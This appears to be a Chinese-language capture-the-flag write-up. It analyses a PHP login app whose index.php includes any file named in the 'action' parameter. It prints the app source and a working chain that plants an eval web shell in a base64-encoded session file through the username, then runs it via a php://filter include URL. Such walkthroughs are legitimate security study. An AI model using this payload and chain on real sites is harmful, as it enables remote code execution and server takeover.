php
#config.php --连接数据库
<?php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '11111';
$dbname = 'web';
#$dbport=3307;
?>
php
#index.php
<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
include $_GET['action'];
exit();
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="css/bootstrap.css" rel="stylesheet" media="screen">
<link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
<div class="form-signin">
<?php if (isset($_SESSION['username'])) { ?>
<?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
<?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
} ?>
</div>
</div>
</body>
</html>
<?php
}
?>
php
#login.php ---观察login代码,发现存在预编译,无法进行sql注入
<?php
require_once('config.php');
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
php
#register.php ---注册页面,同时也存在预编译,无法注入
<?php
if ($_POST['username'] && $_POST['password']) {
require_once('config.php');
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows();
if($count) {
die('User name Already Exists');
} else {
$sql = "insert into user(username, password) values(?,?)";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo 'Register OK!<a href="index.php">Please Login</a>';
}
$stmt->close();
$mysqli->close();
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
分析代码:
1、login.php文件中存在预编译,无法进行sql注入,对用户也没有限制
2、register.php文件中也存在预编译,无法进行sql注入,但是对注册用户没有限制
3、config.php是配置文件,不用考虑
4、index.php中存在后门如下,可知从action下手,action是由session控制的,因此从session下手
由此得知,因为register.php对注册用户,没有限制,其次,是将用户名以密文存储在数据库中
session_start();
if (isset($_GET['action'])) {
include $_GET['action'];
exit();
}
初始数据库:

先尝试注册
注册成功:

查看数据库

同时tmp文件夹中出现session文件


看到login.php中以下代码得知,使用base64编码,而了解到base64编码是8位一编码,因此是三个字符一解码,如果使用<?php phpinfo();?>的base64编码做用户名,使用php://filter伪协议来进行读取的话,前面的username|s:4:"达不到解码要求,因此选用增加位数,就比如这个4代表了base64编码位数,只要将这个编码达到个数达到三位数,即可解决这个先天约束
php
$_SESSION['username'] = base64_encode($username);

查看数据库是否成功创建用户

查看session,发现确实更改了

因为直接使用phpinfo不会直观的观察到结果,因此我将用户名更改成了
php
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php eval($_GET['lzy']);?>
直接使用php://filter伪协议
php
http://127.0.0.1/lzy/ctf/index.php?action=php://filter/read=convert.base64-decode/resource=E:\get\phpstudy_pro\Extensions\tmp\tmp/sess_e5c9ju5lb2erj2m87v0vmplch4&lzy=phpinfo();
